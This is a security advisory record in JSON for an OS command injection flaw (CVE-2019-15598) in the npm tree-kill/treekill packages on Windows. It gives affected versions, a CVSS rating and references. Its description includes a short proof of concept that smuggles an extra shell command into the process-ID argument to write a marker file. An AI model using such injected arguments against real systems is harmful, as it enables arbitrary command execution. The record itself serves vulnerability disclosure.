{"id":"GHSA-j7fq-p9q7-5wfv","revision":"dd6183c144904ab2a6a95caf03c9cfe7","records":[{"revision":"dd6183c144904ab2a6a95caf03c9cfe7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j7fq-p9q7-5wfv","aliases":["CVE-2019-15598"],"title":"Treekill Enables OS Command Injection","description":"A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require('treekill');\nkill('3333332 & echo \"HACKED\" > HACKED.txt & ');\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn't exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created","state":0,"publishedAt":"2022-05-24T17:04:00+00:00","modifiedAt":"2024-04-22T23:44:02.289143+00:00","affected":[{"ecosystem":"npm","name":"tree-kill","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.2.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://nvd.nist.gov/vuln/detail/CVE-2019-15598","https://github.com/pkrumins/node-tree-kill/issues/30","https://github.com/pkrumins/node-tree-kill/pull/31","https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c","https://hackerone.com/reports/701183","https://hackerone.com/reports/703415","https://github.com/node-modules/treekill/blob/master/index.js#L32","https://github.com/pkrumins/node-tree-kill","https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781"],"sourceUrl":"https://github.com/advisories/GHSA-j7fq-p9q7-5wfv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j7fq-p9q7-5wfv","identifiers":["GHSA-j7fq-p9q7-5wfv","CVE-2019-15598"]},"retained":false,"historicalAffected":[]}],"coverage":[]}